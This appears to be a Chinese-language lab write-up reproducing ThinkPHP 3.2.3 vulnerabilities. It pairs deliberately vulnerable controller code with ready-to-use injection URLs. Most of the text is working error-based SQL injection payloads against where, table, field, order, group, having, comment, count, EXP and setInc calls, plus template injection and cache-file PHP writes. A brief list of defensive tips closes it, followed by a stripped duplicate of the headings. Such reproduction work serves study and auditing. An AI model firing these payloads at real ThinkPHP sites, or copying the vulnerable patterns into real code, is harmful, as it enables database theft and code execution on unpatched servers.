Thinkphp3漏洞点复现
字数 1079 2025-08-06 08:35:41

ThinkPHP 3.2.3 漏洞复现与分析

一、环境配置与调试

1.1 数据库配置

路径:Code-audit/thinkphp_3.2.3_full/ThinkPHP/Conf/convention.php

/* 数据库设置 */
'DB_TYPE' => 'mysql',     // 数据库类型
'DB_HOST' => '127.0.0.1', // 服务器地址
'DB_NAME' => 'thinkphp3', // 数据库名
'DB_USER' => 'root',      // 用户名
'DB_PWD' => 'root',       // 密码
'DB_PORT' => '3306',      // 端口

或可在Common下配置

1.2 调试配置

加入调试语句:

'SHOW_PAGE_TRACE' => true,

二、SQL注入漏洞

2.1 字符串方式查询注入

控制器代码

public function index(){
    $map['id'] = I('GET.id');
    $data = M('users')->where($map)->find();
    var_dump($data);
}

注入方式

http://localhost//Code-audit/thinkphp_3.2.3_full/?id=1) and 1=(updatexml(1,concat(0x7e,user(),0x73),1)

2.2 where注入(字符串查询)

控制器代码

$data = M('users')->where('id='.I('GET.id'))->find();
var_dump($data);

2.3 数组条件查询(安全方式)

控制器代码

$User = M("users");
$map['id'] = I('GET.id');
$data = $User->where($map)->select();
var_dump($data);

2.4 table方法注入

控制器代码

public function table_sql(){
    $data = M()->table(I('tab'))->where('1=1')->find();
    var_dump($data);
}

注入方式

http://localhost//Code-audit/thinkphp_3.2.3_full/index.php/Home/Index/table_sql?tab=users where 1=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)%23

2.5 field方法注入

控制器代码

public function field_sql(){
    $data = M('users')->field(array('id','username'=>I('name')))->select();
    var_dump($data);
}

注入方式

http://localhost//Code-audit/thinkphp_3.2.3_full/index.php/Home/Index/field_sql?name=uname from users where 1=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)%23

2.6 alias/join/union方法注入

这些方法如果参数可控,都可能存在注入:

  • ->alias($a)
  • ->alias($_GET)
  • ->alias(I)
  • ->join($
  • ->union($

2.7 order/group/having注入

orderby注入

控制器代码

public function ogh_sql(){
    $data = M('users')->where('1=1')->order(array('id'=>I('orderby')))->select();
    var_dump($data);
}

注入方式

http://localhost//Code-audit/thinkphp_3.2.3_full/index.php/Home/Index/ogh_sql?orderby=,(select 1=updatexml(1,concat(0x7e,database(),0x7e),1))

group注入

控制器代码

public function ogh_sql(){
    $data = M('users')->field('id,username')->group(I('uname'))->select();
    var_dump($data);
}

注入方式

http://localhost//Code-audit/thinkphp_3.2.3_full/index.php/Home/Index/ogh_sql?uname=(1=updatexml(1,concat(0x7e,user(),0x7e),1))

having注入

控制器代码

public function ogh_sql(){
    $data = M('users')
        ->field('id,username')
        ->group(I('uname'))
        ->having(I('having'))
        ->select();
    var_dump($data);
}

注入方式

http://localhost//Code-audit/thinkphp_3.2.3_full/index.php/Home/Index/ogh_sql?uname=username&having=(1=updatexml(1,concat(0x7e,user(),0x7e),1))

2.8 comment/index方法注入

comment注入

控制器代码

public function comment_sql(){
    $data = M('users')->comment(I('comment'))->where('1=1')->find();
    var_dump($data);
}

注入方式

*/ procedure analyse(extractvalue(rand(),concat(0x7e,user())),2)%23

index(force)注入

控制器代码

public function getUserIndex(){
    $data = M('users')->force(I('f'))->select();
    var_dump($data);
}

注入方式

) procedure analyse(extractvalue(rand(),concat(0x7e,user())),2)%23

2.9 query/execute/聚合方法注入

query/execute注入

$data = M()->query("select * from users");
M()->execute("update users set username='root' where id=1");

聚合方法注入

$data = M('users')->count(I('parameter'));

注入方式

id) from users where 1=1 and updatexml(1,concat(0x7e,user()),1)%23

2.10 EXP注入(表达式注入)

控制器代码

public function getUser(){
    $map['id'] = $_GET['id'];
    $data = M('users')->field('username')->where($map)->select();
    dump($data);
}

注入方式

http://localhost/index.php/Home/Index/getUser?id[0]=exp&id[1]==1 and updatexml(1,concat(0x7e,user()),1)

2.11 setInc注入

控制器代码

public function getUser(){
    $User = M('users');
    $User->where('id=3')->setInc('score',I('num'));
}

注入方式

http://localhost/index.php/Home/Index/getUser?num=2 and updatexml(1,concat(0x7e,user()),1)

2.12 Action参数注入

控制器代码

public function getUser($id){
    $data = M('users')->field('username')->where('id ='.$id)->select();
    var_dump($data);
}

注入方式

http://localhost/index.php/Home/Index/getUser/?id=2) and updatexml(1,concat(0x7e,user()),1)%23

2.13 _string组合注入

控制器代码

public function getUserIndex(){
    $User = M("users");
    $map['id'] = array('eq',1);
    $map['name'] = 'ok';
    $map['_string'] = 'score='.I('score');
    $data = $User->where($map)->select();
    var_dump($data);
}

注入方式

http://localhost/index.php/Home/Index/getUserIndex/?score=60) and updatexml(1,concat(0x7e,user()),1)%23

三、模板注入漏洞

3.1 模板引擎设置为PHP

控制器代码

public function getUserIndex(){
    $name = $_GET['name'];
    $this->assign($name);
    $this->display('index');
}

注入方式

http://localhost/index.php/Home/Index/getUserIndex?name[_content]=%3C?php%20phpinfo();?%3E

3.2 PHP标签注入

控制器代码

public function index(){
    $name = I('name');
    $this->assign('name',$name);
    $this->display();
}

模板代码

<html>
<title> aaa </title>
<body>
<h1>aaaa</h1>
<php>eval(${name})</php>
</body>
</html>

注入方式

http://localhost/index.php/Home/Index/index?name=phpinfo();

四、缓存漏洞

4.1 F方法缓存漏洞

控制器代码

public function index(){
    F('key123',' <?php phpinfo(); ?> ');
}

4.2 S方法缓存漏洞

控制器代码

public function index(){
    S('key',I('input'));
}

漏洞文件

Code-audit\thinkphp_3.2.3_full\Application\Runtime\Temp\3c6e0b8a9c15224a8228b9a98ca1531d.php

五、Widget扩展漏洞

Widget代码

<?php
namespace Home\Widget;
use \Think\Controller;
class CateWidget extends Controller {
    public function index(){
        phpinfo();
    }
}

模板代码

<html>
<title> aaa </title>
<body>
</body>
</html>

控制器代码

public function index(){
    $this->display();
}

访问方式

http://localhost//Code-audit/thinkphp_3.2.3_full/index.php/Home/Index/index.html

六、防御建议

  1. 始终使用I()方法获取输入参数
  2. 避免直接拼接SQL语句
  3. 对数组查询使用__parseType方法进行类型转换
  4. 避免使用原生$_GET$_POST等获取参数
  5. 对模板引擎进行安全配置
  6. 限制缓存目录的访问权限
  7. 对Widget扩展进行安全审核

七、参考链接

ThinkPHP 3.2.3 漏洞复现与分析 一、环境配置与调试 1.1 数据库配置 路径: Code-audit/thinkphp_3.2.3_full/ThinkPHP/Conf/convention.php 或可在 Common 下配置 1.2 调试配置 加入调试语句: 二、SQL注入漏洞 2.1 字符串方式查询注入 控制器代码 : 注入方式 : 2.2 where注入(字符串查询) 控制器代码 : 2.3 数组条件查询(安全方式) 控制器代码 : 2.4 table方法注入 控制器代码 : 注入方式 : 2.5 field方法注入 控制器代码 : 注入方式 : 2.6 alias/join/union方法注入 这些方法如果参数可控,都可能存在注入: ->alias($a) ->alias($_GET) ->alias(I) ->join($ ->union($ 2.7 order/group/having注入 orderby注入 控制器代码 : 注入方式 : group注入 控制器代码 : 注入方式 : having注入 控制器代码 : 注入方式 : 2.8 comment/index方法注入 comment注入 控制器代码 : 注入方式 : index(force)注入 控制器代码 : 注入方式 : 2.9 query/execute/聚合方法注入 query/execute注入 聚合方法注入 注入方式 : 2.10 EXP注入(表达式注入) 控制器代码 : 注入方式 : 2.11 setInc注入 控制器代码 : 注入方式 : 2.12 Action参数注入 控制器代码 : 注入方式 : 2.13 _ string组合注入 控制器代码 : 注入方式 : 三、模板注入漏洞 3.1 模板引擎设置为PHP 控制器代码 : 注入方式 : 3.2 PHP标签注入 控制器代码 : 模板代码 : 注入方式 : 四、缓存漏洞 4.1 F方法缓存漏洞 控制器代码 : 4.2 S方法缓存漏洞 控制器代码 : 漏洞文件 : 五、Widget扩展漏洞 Widget代码 : 模板代码 : 控制器代码 : 访问方式 : 六、防御建议 始终使用 I() 方法获取输入参数 避免直接拼接SQL语句 对数组查询使用 __parseType 方法进行类型转换 避免使用原生 $_GET 、 $_POST 等获取参数 对模板引擎进行安全配置 限制缓存目录的访问权限 对Widget扩展进行安全审核 七、参考链接 ThinkPHP3.2.3漏洞分析视频